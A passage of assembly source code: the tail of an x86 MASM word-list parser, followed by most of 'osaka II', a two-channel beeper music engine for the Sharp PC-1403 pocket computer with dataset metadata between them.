.while byte ptr [esi] && byte ptr [esi]!=VK_RETURN && byte ptr [esi]!=';'
mov al,[esi]
.if al!=VK_SPACE
mov [edi],al
inc edi
.elseif byte ptr [edi-1]!=VK_SPACE
mov [edi],al
inc edi
.endif
inc esi
.endw
.if byte ptr [edi-1]==VK_SPACE
dec edi
.endif
mov byte ptr [edi],0
mov edx,'c'
invoke AddWordToWordList,edx,nOwner,nline,npos,addr szname,2
retn
_Struct:
mov edi,offset szname
call SaveWord1
call GetWord
.if !ecx
inc esi
call GetWord
mov lpword1,esi
mov len1,ecx
invoke FpIsWord,lpword1,len1,offset szfpword2
.if eax==10;record
.while byte ptr [esi]
call GetWord
.if ecx
mov lpword1,esi
mov len1,ecx
lea esi,[esi+ecx]
invoke FpIsWord,lpword1,len1,offset szfpword2
.if eax==11;end
mov edx,'s'
invoke AddWordToWordList,edx,nOwner,nline,npos,addr szname,2
.break
.else
call GetWord
.if !ecx
.if byte ptr [esi]==':'
call _Local
.endif
.endif
.endif
.else
inc esi
.endif
.endw
.endif
.endif
retn
FpParseFile endp
|
||||
TheStack | c2d16e6add7bb786109b80938c4b4d5582322ba0 | Assemblycode:Assembly | {"size": 27101, "ext": "asm", "max_stars_repo_path": "osaka2/main.asm", "max_stars_repo_name": "genivia-inc/PC1403-Music-Routines", "max_stars_repo_stars_event_min_datetime": "2021-12-11T06:30:35.000Z", "max_stars_repo_stars_event_max_datetime": "2021-12-11T06:30:35.000Z", "max_issues_repo_path": "osaka2/main.asm", "max_issues_repo_name": "genivia-inc/PC1403-Music-Routines", "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "osaka2/main.asm", "max_forks_repo_name": "genivia-inc/PC1403-Music-Routines", "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null} | {"max_stars_count": 1, "max_issues_count": null, "max_forks_count": null, "avg_line_length": 13.4296333003, "max_line_length": 93, "alphanum_fraction": 0.6386849194} | ;osaka II beeper engine for sharp pc-1403
;version 1.0 by utz 07'2014
;2 channels pulse-interleaving square wave sound + pwm drums
I equ $00
J equ $01
A equ $02
B equ $03
XL equ $04
XH equ $05
YL equ $06
YH equ $07
K equ $08
L equ $09
M equ $0A
N equ $0B
WRK equ $0C
OUTP equ $5f ;beeper out
org $80e8
begin: lip OUTP ;preserve outbyte
ldm
push
init:
lp XL ;setup index register, X = XL+(XH*256)
mpntr0:
lia $b4 ;point to song data-1
exam
lp XH
mpntr1:
lia $88
exam
lp WRK ;store ptn sequence pointer in $0c..$0d
liq XL
mvb
setptn: ;read pattern sequence
lp XL ;restore ptn seq pointer
liq WRK
mvb
ixl ;hibyte of ptn address to A
cpia $00 ;if it is 0, end of seq reached -> reset pointer
;jpz end ;exit if $ff found - uncomment this and comment out next if you don't want to loop
jrzm init
exab ;hibyte of ptn addr to B
ixl ;lobyte of ptn addr to A
lp WRK ;store ptn sequence pointer in $0c..$0d
liq XL
mvb
lp XL ;store ptn address in X
liq A
mvb
rdata:
test 8 ;check BRK/ON key
jpnz end ;and exit if pressed
ixl ;inc index, ->dp, value to A (drum byte)
cpia $ff ;check for end marker $ff
jrzm setptn ;loop if $ff found
lp M ;store speed value
exam
ldm ;load back
anim $fc ;delete drum value
ania $03 ;delete speed value
cpia 0 ;check if drum is active
jrzp nodrum
call drum ;play drum
nodrum:
ixl ;point to ch1 counter and backup in A
ix ;point to ch2 counter
lp L
mvmd ;put it in L
call playrow
chkbp:
jp rdata
playrow:
push
;**************************************************************
a0b0: ;ch1 off, ch2 off
;when a counts down, go to a1b0
;when b counts down, to to a0b1
deca ;4 ;decrement counter ch1
jrnzp skip1a ;7/4 ;when counter ch1 has reached 0
pop ;3 ;restore counter ch1
push ;2 ;and reload backup
jp skip3 ;6 ;and continue in a1b0
skip1a:
lip OUTP ;4 ;set output mask
anim 0 ;4
skip1:
outc ;2 ;write to beeper port
decl ;4 ;decrement counter ch2
jrnzp skip2a ;7/4
lp L ;2 ;restore counter
mvmd ;3
jp skip6 ;6 ;and continue in a0b1
skip2a:
lip OUTP ;4
anim 0 ;4
skip2: outc ;2
;44*16+10 = 714
;*******
;lp K ;2
deca ;4
jrnzp skip1aB ;7/4 ;when counter ch1 has reached 0
pop ;3 ;restore counter ch1
push ;2 ;and reload backup
jp skip3B ;6 ;and continue in a1b0
skip1aB:
;wait 2 ;8 ;eliminate overhead
lip OUTP ;4
anim 0 ;4
skip1B: outc ;2
;lp L ;2
decl ;4
jrnzp skip2aB ;7/4
lp L ;3 ;restore counter
mvmd
jp skip6B ;6 ;and continue in a0b1
skip2aB:
;nopt ;3 ;eliminate overhead
;nopt ;3
lip OUTP ;4
anim 0 ;4
skip2B: outc ;2
;*******
;lp K ;2
deca ;4
jrnzp skip1aC ;7/4 ;when counter ch1 has reached 0
pop ;3 ;restore counter ch1
push ;2 ;and reload backup
jp skip3C ;6 ;and continue in a1b0
skip1aC:
;wait 2 ;8 ;eliminate overhead
lip OUTP ;4
anim 0 ;4
skip1C: outc ;2
;lp L ;2
decl ;4
jrnzp skip2aC ;7/4
lp L ;3 ;restore counter
mvmd
jp skip6C ;6 ;and continue in a0b1
skip2aC:
;nopt ;3 ;eliminate overhead
;nopt ;3
lip OUTP ;4
anim 0 ;4
skip2C: outc ;2
;*******
;lp K ;2
deca ;4
jrnzp skip1aD ;7/4 ;when counter ch1 has reached 0
pop ;3 ;restore counter ch1
push ;2 ;and reload backup
jp skip3D ;6 ;and continue in a1b0
skip1aD:
;wait 2 ;8 ;eliminate overhead
lip OUTP ;4
anim 0 ;4
skip1D: outc ;2
;lp L ;2
decl ;4
jrnzp skip2aD ;7/4
lp L ;3 ;restore counter
mvmd
jp skip6D ;6 ;and continue in a0b1
skip2aD:
;nopt ;3 ;eliminate overhead
;nopt ;3
lip OUTP ;4
anim 0 ;4
skip2D: outc ;2
;*******
;lp K ;2
deca ;4
jrnzp skip1aE ;7/4 ;when counter ch1 has reached 0
pop ;3 ;restore counter ch1
push ;2 ;and reload backup
jp skip3E ;6 ;and continue in a1b0
skip1aE:
;wait 2 ;8 ;eliminate overhead
lip OUTP ;4
anim 0 ;4
skip1E: outc ;2
;lp L ;2
decl ;4
jrnzp skip2aE ;7/4
lp L ;3 ;restore counter
mvmd
jp skip6E ;6 ;and continue in a0b1
skip2aE:
;nopt ;3 ;eliminate overhead
;nopt ;3
lip OUTP ;4
anim 0 ;4
skip2E: outc ;2
;*******
;lp K ;2
deca ;4
jrnzp skip1aF ;7/4 ;when counter ch1 has reached 0
pop ;3 ;restore counter ch1
push ;2 ;and reload backup
jp skip3F ;6 ;and continue in a1b0
skip1aF:
;wait 2 ;8 ;eliminate overhead
lip OUTP ;4
anim 0 ;4
skip1F: outc ;2
;lp L ;2
decl ;4
jrnzp skip2aF ;7/4
lp L ;3 ;restore counter
mvmd
jp skip6F ;6 ;and continue in a0b1
skip2aF:
;nopt ;3 ;eliminate overhead
;nopt ;3
lip OUTP ;4
anim 0 ;4
skip2F: outc ;2
;*******
;lp K ;2
deca ;4
jrnzp skip1aG ;7/4 ;when counter ch1 has reached 0
pop ;3 ;restore counter ch1
push ;2 ;and reload backup
jp skip3G ;6 ;and continue in a1b0
skip1aG:
;wait 2 ;8 ;eliminate overhead
lip OUTP ;4
anim 0 ;4
skip1G: outc ;2
;lp L ;2
decl ;4
jrnzp skip2aG ;7/4
lp L ;3 ;restore counter
mvmd
jp skip6G ;6 ;and continue in a0b1
skip2aG:
;nopt ;3 ;eliminate overhead
;nopt ;3
lip OUTP ;4
anim 0 ;4
skip2G: outc ;2
;*******
;lp K ;2
deca ;4
jrnzp skip1aH ;7/4 ;when counter ch1 has reached 0
pop ;3 ;restore counter ch1
push ;2 ;and reload backup
jp skip3H ;6 ;and continue in a1b0
skip1aH:
;wait 2 ;8 ;eliminate overhead
lip OUTP ;4
anim 0 ;4
skip1H: outc ;2
;lp L ;2
decl ;4
jrnzp skip2aH ;7/4
lp L ;3 ;restore counter
mvmd
jp skip6H ;6 ;and continue in a0b1
skip2aH:
;nopt ;3 ;eliminate overhead
;nopt ;3
lip OUTP ;4
anim 0 ;4
skip2H: outc ;2
;*******
;lp K ;2
deca ;4
jrnzp skip1aI ;7/4 ;when counter ch1 has reached 0
pop ;3 ;restore counter ch1
push ;2 ;and reload backup
jp skip3I ;6 ;and continue in a1b0
skip1aI:
;wait 2 ;8 ;eliminate overhead
lip OUTP ;4
anim 0 ;4
skip1I: outc ;2
;lp L ;2
decl ;4
jrnzp skip2aI ;7/4
lp L ;3 ;restore counter
mvmd
jp skip6I ;6 ;and continue in a0b1
skip2aI:
;nopt ;3 ;eliminate overhead
;nopt ;3
lip OUTP ;4
anim 0 ;4
skip2I: outc ;2
;*******
;lp K ;2
deca ;4
jrnzp skip1aJ ;7/4 ;when counter ch1 has reached 0
pop ;3 ;restore counter ch1
push ;2 ;and reload backup
jp skip3J ;6 ;and continue in a1b0
skip1aJ:
;wait 2 ;8 ;eliminate overhead
lip OUTP ;4
skip1J: anim 0 ;4
outc ;2
;lp L ;2
decl ;4
jrnzp skip2aJ ;7/4
lp L ;3 ;restore counter
mvmd
jp skip6J ;6 ;and continue in a0b1
skip2aJ:
;nopt ;3 ;eliminate overhead
;nopt ;3
lip OUTP ;4
anim 0 ;4
skip2J: outc ;2
;*******
;lp K ;2
deca ;4
jrnzp skip1aK ;7/4 ;when counter ch1 has reached 0
pop ;3 ;restore counter ch1
push ;2 ;and reload backup
jp skip3K ;6 ;and continue in a1b0
skip1aK:
;wait 2 ;8 ;eliminate overhead
skip1K: lip OUTP ;4
anim 0 ;4
outc ;2
;lp L ;2
decl ;4
jrnzp skip2aK ;7/4
lp L ;3 ;restore counter
mvmd
jp skip6K ;6 ;and continue in a0b1
skip2aK:
;nopt ;3 ;eliminate overhead
;nopt ;3
lip OUTP ;4
anim 0 ;4
skip2K: outc ;2
;*******
;lp K ;2
deca ;4
jrnzp skip1aL ;7/4 ;when counter ch1 has reached 0
pop ;3 ;restore counter ch1
push ;2 ;and reload backup
jp skip3L ;6 ;and continue in a1b0
skip1aL:
;wait 2 ;8 ;eliminate overhead
lip OUTP ;4
anim 0 ;4
skip1L: outc ;2
;lp L ;2
decl ;4
jrnzp skip2aL ;7/4
lp L ;3 ;restore counter
mvmd
jp skip6L ;6 ;and continue in a0b1
skip2aL:
;nopt ;3 ;eliminate overhead
;nopt ;3
lip OUTP ;4
anim 0 ;4
skip2L: outc ;2
;*******
;lp K ;2
deca ;4
jrnzp skip1aM ;7/4 ;when counter ch1 has reached 0
pop ;3 ;restore counter ch1
push ;2 ;and reload backup
jp skip3M ;6 ;and continue in a1b0
skip1aM:
;wait 2 ;8 ;eliminate overhead
lip OUTP ;4
anim 0 ;4
skip1M: outc ;2
;lp L ;2
decl ;4
jrnzp skip2aM ;7/4
lp L ;3 ;restore counter
mvmd
jp skip6M ;6 ;and continue in a0b1
skip2aM:
;nopt ;3 ;eliminate overhead
;nopt ;3
lip OUTP ;4
anim 0 ;4
skip2M: outc ;2
;*******
;lp K ;2
deca ;4
jrnzp skip1aN ;7/4 ;when counter ch1 has reached 0
pop ;3 ;restore counter ch1
push ;2 ;and reload backup
jp skip3N ;6 ;and continue in a1b0
skip1aN:
;wait 2 ;8 ;eliminate overhead
lip OUTP ;4
anim 0 ;4
skip1N: outc ;2
;lp L ;2
decl ;4
jrnzp skip2aN ;7/4
lp L ;3 ;restore counter
mvmd
jp skip6N ;6 ;and continue in a0b1
skip2aN:
;nopt ;3 ;eliminate overhead
;nopt ;3
lip OUTP ;4
anim 0 ;4
skip2N: outc ;2
;*******
;lp K ;2
deca ;4
jrnzp skip1aO ;7/4 ;when counter ch1 has reached 0
pop ;3 ;restore counter ch1
push ;2 ;and reload backup
jp skip3O ;6 ;and continue in a1b0
skip1aO:
;wait 2 ;8 ;eliminate overhead
lip OUTP ;4
anim 0 ;4
skip1O: outc ;2
;lp L ;2
decl ;4
jrnzp skip2aO ;7/4
lp L ;3 ;restore counter
mvmd
jp skip6O ;6 ;and continue in a0b1
skip2aO:
;nopt ;3 ;eliminate overhead
;nopt ;3
lip OUTP ;4
anim 0 ;4
skip2O: outc ;2
;*******
;lp K ;2
deca ;4
jrnzp skip1aP ;7/4 ;when counter ch1 has reached 0
pop ;3 ;restore counter ch1
push ;2 ;and reload backup
jp skip3P ;6 ;and continue in a1b0
skip1aP:
;wait 2 ;8 ;eliminate overhead
lip OUTP ;4
anim 0 ;4
skip1P: outc ;2
;lp L ;2
decl ;4
jrnzp skip2aP ;7/4
lp L ;3 ;restore counter
mvmd
jp skip6P ;6 ;and continue in a0b1
skip2aP:
;nopt ;3 ;eliminate overhead
;nopt ;3
lip OUTP ;4
anim 0 ;4
skip2P: outc ;2
decm ;decrement primary speed counter
jpnz a0b0 ;and loop if not 0
pop
rtn
;**************************************************************
a1b0: ;ch1 on, ch2 off
;when a counts down, go to a0b0
;when b counts down, go to a1b1
;lp K
deca
jrnzp skip3a
pop ;3
push
jp skip1 ;and continue in a0b0
skip3a:
;wait 2
lip OUTP
orim $10
skip3: outc
;lp L
decl
jrnzp skip4a
lp L ;restore counter
mvmd
jp skip8 ;and continue in a1b1
skip4a:
;nopt ;3 ;eliminate overhead
;nopt ;3
lip OUTP
anim 0
skip4: outc
;*******
;lp K
deca
jrnzp skip3aB
pop ;3
push
jp skip1B ;and continue in a0b0
skip3aB:
;wait 2
lip OUTP
orim $10
skip3B: outc
;lp L
decl
jrnzp skip4aB
lp L ;restore counter
mvmd
jp skip8B ;and continue in a1b1
skip4aB:
;nopt ;3 ;eliminate overhead
;nopt ;3
lip OUTP
anim 0
skip4B: outc
;*******
;lp K
deca
jrnzp skip3aC
pop ;3
push
jp skip1C ;and continue in a0b0
skip3aC:
;wait 2
lip OUTP
orim $10
skip3C: outc
;lp L
decl
jrnzp skip4aC
lp L ;restore counter
mvmd
jp skip8C ;and continue in a1b1
skip4aC:
;nopt ;3 ;eliminate overhead
;nopt ;3
lip OUTP
anim 0
skip4C: outc
;*******
;lp K
deca
jrnzp skip3aD
pop ;3
push
jp skip1D ;and continue in a0b0
skip3aD:
;wait 2
lip OUTP
orim $10
skip3D: outc
;lp L
decl
jrnzp skip4aD
lp L ;restore counter
mvmd
jp skip8D ;and continue in a1b1
skip4aD:
;nopt ;3 ;eliminate overhead
;nopt ;3
lip OUTP
anim 0
skip4D: outc
;*******
;lp K
deca
jrnzp skip3aE
pop ;3
push
jp skip1E ;and continue in a0b0
skip3aE:
;wait 2
lip OUTP
orim $10
skip3E: outc
;lp L
decl
jrnzp skip4aE
lp L ;restore counter
mvmd
jp skip8E ;and continue in a1b1
skip4aE:
;nopt ;3 ;eliminate overhead
;nopt ;3
lip OUTP
anim 0
skip4E: outc
;*******
;lp K
deca
jrnzp skip3aF
pop ;3
push
jp skip1F ;and continue in a0b0
skip3aF:
;wait 2
lip OUTP
orim $10
skip3F: outc
;lp L
decl
jrnzp skip4aF
lp L ;restore counter
mvmd
jp skip8F ;and continue in a1b1
skip4aF:
;nopt ;3 ;eliminate overhead
;nopt ;3
lip OUTP
anim 0
skip4F: outc
;*******
;lp K
deca
jrnzp skip3aG
pop ;3
push
jp skip1G ;and continue in a0b0
skip3aG:
;wait 2
lip OUTP
orim $10
skip3G: outc
;lp L
decl
jrnzp skip4aG
lp L ;restore counter
mvmd
jp skip8G ;and continue in a1b1
skip4aG:
;nopt ;3 ;eliminate overhead
;nopt ;3
lip OUTP
anim 0
skip4G: outc
;*******
;lp K
deca
jrnzp skip3aH
pop ;3
push
jp skip1H ;and continue in a0b0
skip3aH:
;wait 2
lip OUTP
orim $10
skip3H: outc
;lp L
decl
jrnzp skip4aH
lp L ;restore counter
mvmd
jp skip8H ;and continue in a1b1
skip4aH:
;nopt ;3 ;eliminate overhead
;nopt ;3
lip OUTP
anim 0
skip4H: outc
;*******
;lp K
deca
jrnzp skip3aI
pop ;3
push
jp skip1I ;and continue in a0b0
skip3aI:
;wait 2
lip OUTP
orim $10
skip3I: outc
;lp L
decl
jrnzp skip4aI
lp L ;restore counter
mvmd
jp skip8I ;and continue in a1b1
skip4aI:
;nopt ;3 ;eliminate overhead
;nopt ;3
lip OUTP
anim 0
skip4I: outc
;*******
;lp K
deca
jrnzp skip3aJ
pop ;3
push
jp skip1J ;and continue in a0b0
skip3aJ:
;wait 2
lip OUTP
orim $10
skip3J: outc
;lp L
decl
jrnzp skip4aJ
lp L ;restore counter
mvmd
jp skip8J ;and continue in a1b1
skip4aJ:
;nopt ;3 ;eliminate overhead
;nopt ;3
lip OUTP
anim 0
skip4J: outc
;*******
;lp K
deca
jrnzp skip3aK
pop ;3
push
jp skip1K ;and continue in a0b0
skip3aK:
;wait 2
lip OUTP
orim $10
skip3K: outc
;lp L
decl
jrnzp skip4aK
lp L ;restore counter
mvmd
jp skip8K ;and continue in a1b1
skip4aK:
;nopt ;3 ;eliminate overhead
;nopt ;3
lip OUTP
anim 0
skip4K: outc
;*******
;lp K
deca
jrnzp skip3aL
pop ;3
push
jp skip1L ;and continue in a0b0
skip3aL:
;wait 2
lip OUTP
orim $10
skip3L: outc
;lp L
decl
jrnzp skip4aL
lp L ;restore counter
mvmd
jp skip8L ;and continue in a1b1
skip4aL:
;nopt ;3 ;eliminate overhead
;nopt ;3
lip OUTP
anim 0
skip4L: outc
;*******
;lp K
deca
jrnzp skip3aM
pop ;3
push
jp skip1M ;and continue in a0b0
skip3aM:
;wait 2
lip OUTP
orim $10
skip3M: outc
;lp L
decl
jrnzp skip4aM
lp L ;restore counter
mvmd
jp skip8M ;and continue in a1b1
skip4aM:
;nopt ;3 ;eliminate overhead
;nopt ;3
lip OUTP
anim 0
skip4M: outc
;*******
;lp K
deca
jrnzp skip3aN
pop ;3
push
jp skip1N ;and continue in a0b0
skip3aN:
;wait 2
lip OUTP
orim $10
skip3N: outc
;lp L
decl
jrnzp skip4aN
lp L ;restore counter
mvmd
jp skip8N ;and continue in a1b1
skip4aN:
;nopt ;3 ;eliminate overhead
;nopt ;3
lip OUTP
anim 0
skip4N: outc
;*******
;lp K
deca
jrnzp skip3aO
pop ;3
push
jp skip1O ;and continue in a0b0
skip3aO:
;wait 2
lip OUTP
orim $10
skip3O: outc
;lp L
decl
jrnzp skip4aO
lp L ;restore counter
mvmd
jp skip8O ;and continue in a1b1
skip4aO:
;nopt ;3 ;eliminate overhead
;nopt ;3
lip OUTP
anim 0
skip4O: outc
;*******
;lp K
deca
jrnzp skip3aP
pop ;3
push
jp skip1P ;and continue in a0b0
skip3aP:
;wait 2
lip OUTP
orim $10
skip3P: outc
;lp L
decl
jrnzp skip4aP
lp L ;restore counter
mvmd
jp skip8P ;and continue in a1b1
skip4aP:
;nopt ;3 ;eliminate overhead
;nopt ;3
lip OUTP
anim 0
skip4P: outc
decm
jpnz a1b0
pop
rtn
;**************************************************************
a0b1: ;ch1 off, ch2 on
;when a counts down, go to a1b1
;when b counts down, go to a0b0
;lp K
deca
jrnzp skip5a
pop
push ;3
jp skip7 ;and continue in a1b1
skip5a:
;wait 2
lip OUTP
anim 0
skip5: outc
;lp L
decl
jrnzp skip6a
lp L ;restore counter
mvmd
jp skip2 ;and continue in a0b0
skip6a:
;nopt ;3 ;eliminate overhead
;nopt ;3
lip OUTP
orim $10
skip6: outc
;*******
;lp K
deca
jrnzp skip5aB
pop
push ;3
jp skip7B ;and continue in a1b1
skip5aB:
;wait 2
lip OUTP
anim 0
skip5B: outc
;lp L
decl
jrnzp skip6aB
lp L ;restore counter
mvmd
jp skip2B ;and continue in a0b0
skip6aB:
;nopt ;3 ;eliminate overhead
;nopt ;3
lip OUTP
orim $10
skip6B: outc
;*******
;lp K
deca
jrnzp skip5aC
pop
push ;3
jp skip7C ;and continue in a1b1
skip5aC:
;wait 2
lip OUTP
anim 0
skip5C: outc
;lp L
decl
jrnzp skip6aC
lp L ;restore counter
mvmd
jp skip2C ;and continue in a0b0
skip6aC:
;nopt ;3 ;eliminate overhead
;nopt ;3
lip OUTP
orim $10
skip6C: outc
;*******
;lp K
deca
jrnzp skip5aD
pop
push ;3
jp skip7D ;and continue in a1b1
skip5aD:
;wait 2
lip OUTP
anim 0
skip5D: outc
;lp L
decl
jrnzp skip6aD
lp L ;restore counter
mvmd
jp skip2D ;and continue in a0b0
skip6aD:
;nopt ;3 ;eliminate overhead
;nopt ;3
lip OUTP
orim $10
skip6D: outc
;*******
;lp K
deca
jrnzp skip5aE
pop
push ;3
jp skip7E ;and continue in a1b1
skip5aE:
;wait 2
lip OUTP
anim 0
skip5E: outc
;lp L
decl
jrnzp skip6aE
lp L ;restore counter
mvmd
jp skip2E ;and continue in a0b0
skip6aE:
;nopt ;3 ;eliminate overhead
;nopt ;3
lip OUTP
orim $10
skip6E: outc
;*******
;lp K
deca
jrnzp skip5aF
pop
push ;3
jp skip7F ;and continue in a1b1
skip5aF:
;wait 2
lip OUTP
anim 0
skip5F: outc
;lp L
decl
jrnzp skip6aF
lp L ;restore counter
mvmd
jp skip2F ;and continue in a0b0
skip6aF:
;nopt ;3 ;eliminate overhead
;nopt ;3
lip OUTP
orim $10
skip6F: outc
;*******
;lp K
deca
jrnzp skip5aG
pop
push ;3
jp skip7G ;and continue in a1b1
skip5aG:
;wait 2
lip OUTP
anim 0
skip5G: outc
;lp L
decl
jrnzp skip6aG
lp L ;restore counter
mvmd
jp skip2G ;and continue in a0b0
skip6aG:
;nopt ;3 ;eliminate overhead
;nopt ;3
lip OUTP
orim $10
skip6G: outc
;*******
;lp K
deca
jrnzp skip5aH
pop
push ;3
jp skip7H ;and continue in a1b1
skip5aH:
;wait 2
lip OUTP
anim 0
skip5H: outc
;lp L
decl
jrnzp skip6aH
lp L ;restore counter
mvmd
jp skip2H ;and continue in a0b0
skip6aH:
;nopt ;3 ;eliminate overhead
;nopt ;3
lip OUTP
orim $10
skip6H: outc
;*******
;lp K
deca
jrnzp skip5aI
pop
push ;3
jp skip7I ;and continue in a1b1
skip5aI:
;wait 2
lip OUTP
anim 0
skip5I: outc
;lp L
decl
jrnzp skip6aI
lp L ;restore counter
mvmd
jp skip2I ;and continue in a0b0
skip6aI:
;nopt ;3 ;eliminate overhead
;nopt ;3
lip OUTP
orim $10
skip6I: outc
;*******
;lp K
deca
jrnzp skip5aJ
pop
push ;3
jp skip7J ;and continue in a1b1
skip5aJ:
;wait 2
lip OUTP
anim 0
skip5J: outc
;lp L
decl
jrnzp skip6aJ
lp L ;restore counter
mvmd
jp skip2J ;and continue in a0b0
skip6aJ:
;nopt ;3 ;eliminate overhead
;nopt ;3
lip OUTP
orim $10
skip6J: outc
;*******
;lp K
deca
jrnzp skip5aK
pop
push ;3
jp skip7K ;and continue in a1b1
skip5aK:
;wait 2
lip OUTP
anim 0
skip5K: outc
;lp L
decl
jrnzp skip6aK
lp L ;restore counter
mvmd
jp skip2K ;and continue in a0b0
skip6aK:
;nopt ;3 ;eliminate overhead
;nopt ;3
lip OUTP
orim $10
skip6K: outc
;*******
;lp K
deca
jrnzp skip5aL
pop
push ;3
jp skip7L ;and continue in a1b1
skip5aL:
;wait 2
lip OUTP
anim 0
skip5L: outc
;lp L
decl
jrnzp skip6aL
lp L ;restore counter
mvmd
jp skip2L ;and continue in a0b0
skip6aL:
;nopt ;3 ;eliminate overhead
;nopt ;3
lip OUTP
orim $10
skip6L: outc
;*******
;lp K
deca
jrnzp skip5aM
pop
push ;3
jp skip7M ;and continue in a1b1
skip5aM:
;wait 2
lip OUTP
anim 0
skip5M: outc
;lp L
decl
jrnzp skip6aM
lp L ;restore counter
mvmd
jp skip2M ;and continue in a0b0
skip6aM:
;nopt ;3 ;eliminate overhead
;nopt ;3
lip OUTP
orim $10
skip6M: outc
;*******
;lp K
deca
jrnzp skip5aN
pop
push ;3
jp skip7N ;and continue in a1b1
skip5aN:
;wait 2
lip OUTP
anim 0
skip5N: outc
;lp L
decl
jrnzp skip6aN
lp L ;restore counter
mvmd
jp skip2N ;and continue in a0b0
skip6aN:
;nopt ;3 ;eliminate overhead
;nopt ;3
lip OUTP
orim $10
skip6N: outc
;*******
;lp K
deca
jrnzp skip5aO
pop
push ;3
jp skip7O ;and continue in a1b1
skip5aO:
;wait 2
lip OUTP
anim 0
skip5O: outc
;lp L
decl
jrnzp skip6aO
lp L ;restore counter
mvmd
jp skip2O ;and continue in a0b0
skip6aO:
;nopt ;3 ;eliminate overhead
;nopt ;3
lip OUTP
orim $10
skip6O: outc
;*******
;lp K
deca
jrnzp skip5aP
pop
push ;3
jp skip7P ;and continue in a1b1
skip5aP:
;wait 2
lip OUTP
anim 0
skip5P: outc
;lp L
decl
jrnzp skip6aP
lp L ;restore counter
mvmd
jp skip2P ;and continue in a0b0
skip6aP:
;nopt ;3 ;eliminate overhead
;nopt ;3
lip OUTP
orim $10
skip6P: outc
;deci
;jpnz a0b1
decm
jpnz a0b1
pop
rtn
;**************************************************************
a1b1: ;ch1 on, ch2 on
;when a counts down, go to a0b1
;when b counts down, go to a1b0
;lp K
deca
jrnzp skip7a
pop ;3
push
jp skip5 ;and continue in a0b1
skip7a:
;wait 2
lip OUTP
orim $10
skip7: outc
;lp L
decl
jrnzp skip8a
lp L ;restore counter
mvmd
jp skip4 ;and continue in a1b0
skip8a:
;nopt ;3 ;eliminate overhead
;nopt ;3
lip OUTP
orim $10
skip8: outc
;*******
;lp K
deca
jrnzp skip7aB
pop ;3
push
jp skip5B ;and continue in a0b1
skip7aB:
;wait 2
lip OUTP
orim $10
skip7B: outc
;lp L
decl
jrnzp skip8aB
lp L ;restore counter
mvmd
jp skip4B ;and continue in a1b0
skip8aB:
;nopt ;3 ;eliminate overhead
;nopt ;3
lip OUTP
orim $10
skip8B: outc
;*******
;lp K
deca
jrnzp skip7aC
pop ;3
push
jp skip5C ;and continue in a0b1
skip7aC:
;wait 2
lip OUTP
orim $10
skip7C: outc
;lp L
decl
jrnzp skip8aC
lp L ;restore counter
mvmd
jp skip4C ;and continue in a1b0
skip8aC:
;nopt ;3 ;eliminate overhead
;nopt ;3
lip OUTP
orim $10
skip8C: outc
;*******
;lp K
deca
jrnzp skip7aD
pop ;3
push
jp skip5D ;and continue in a0b1
skip7aD:
;wait 2
lip OUTP
orim $10
skip7D: outc
;lp L
decl
jrnzp skip8aD
lp L ;restore counter
mvmd
jp skip4D ;and continue in a1b0
skip8aD:
;nopt ;3 ;eliminate overhead
;nopt ;3
lip OUTP
orim $10
skip8D: outc
;*******
;lp K
deca
jrnzp skip7aE
pop ;3
push
jp skip5E ;and continue in a0b1
skip7aE:
;wait 2
lip OUTP
orim $10
skip7E: outc
;lp L
decl
jrnzp skip8aE
lp L ;restore counter
mvmd
jp skip4E ;and continue in a1b0
skip8aE:
;nopt ;3 ;eliminate overhead
;nopt ;3
lip OUTP
orim $10
skip8E: outc
;*******
;lp K
deca
jrnzp skip7aF
pop ;3
push
jp skip5F ;and continue in a0b1
skip7aF:
;wait 2
lip OUTP
orim $10
skip7F: outc
;lp L
decl
jrnzp skip8aF
lp L ;restore counter
mvmd
jp skip4F ;and continue in a1b0
skip8aF:
;nopt ;3 ;eliminate overhead
;nopt ;3
lip OUTP
orim $10
skip8F: outc
;*******
;lp K
deca
jrnzp skip7aG
pop ;3
push
jp skip5G ;and continue in a0b1
skip7aG:
;wait 2
lip OUTP
orim $10
skip7G: outc
;lp L
decl
jrnzp skip8aG
lp L ;restore counter
mvmd
jp skip4G ;and continue in a1b0
skip8aG:
;nopt ;3 ;eliminate overhead
;nopt ;3
lip OUTP
orim $10
skip8G: outc
;*******
;lp K
deca
jrnzp skip7aH
pop ;3
push
jp skip5H ;and continue in a0b1
skip7aH:
;wait 2
lip OUTP
orim $10
skip7H: outc
;lp L
decl
jrnzp skip8aH
lp L ;restore counter
mvmd
jp skip4H ;and continue in a1b0
skip8aH:
;nopt ;3 ;eliminate overhead
;nopt ;3
lip OUTP
orim $10
skip8H: outc
;*******
;lp K
deca
jrnzp skip7aI
pop ;3
push
jp skip5I ;and continue in a0b1
skip7aI:
;wait 2
lip OUTP
orim $10
skip7I: outc
;lp L
decl
jrnzp skip8aI
lp L ;restore counter
mvmd
jp skip4I ;and continue in a1b0
skip8aI:
;nopt ;3 ;eliminate overhead
;nopt ;3
lip OUTP
orim $10
skip8I: outc
;*******
;lp K
deca
jrnzp skip7aJ
pop ;3
push
jp skip5J ;and continue in a0b1
skip7aJ:
;wait 2
lip OUTP
orim $10
skip7J: outc
;lp L
decl
jrnzp skip8aJ
lp L ;restore counter
mvmd
jp skip4J ;and continue in a1b0
skip8aJ:
;nopt ;3 ;eliminate overhead
;nopt ;3
lip OUTP
orim $10
skip8J: outc
;*******
;lp K
deca
jrnzp skip7aK
pop ;3
push
jp skip5K ;and continue in a0b1
skip7aK:
;wait 2
lip OUTP
orim $10
skip7K: outc
;lp L
decl
jrnzp skip8aK
lp L ;restore counter
mvmd
jp skip4K ;and continue in a1b0
skip8aK:
;nopt ;3 ;eliminate overhead
;nopt ;3
lip OUTP
orim $10
skip8K: outc
;*******
;lp K
deca
jrnzp skip7aL
pop ;3
push
jp skip5L ;and continue in a0b1
skip7aL:
;wait 2
lip OUTP
orim $10
skip7L: outc
;lp L
decl
jrnzp skip8aL
lp L ;restore counter
mvmd
jp skip4L ;and continue in a1b0
skip8aL:
;nopt ;3 ;eliminate overhead
;nopt ;3
lip OUTP
orim $10
skip8L: outc
;*******
;lp K
deca
jrnzp skip7aM
pop ;3
push
jp skip5M ;and continue in a0b1
skip7aM:
;wait 2
lip OUTP
orim $10
skip7M: outc
;lp L
decl
jrnzp skip8aM
lp L ;restore counter
mvmd
jp skip4M ;and continue in a1b0
skip8aM:
;nopt ;3 ;eliminate overhead
;nopt ;3
lip OUTP
orim $10
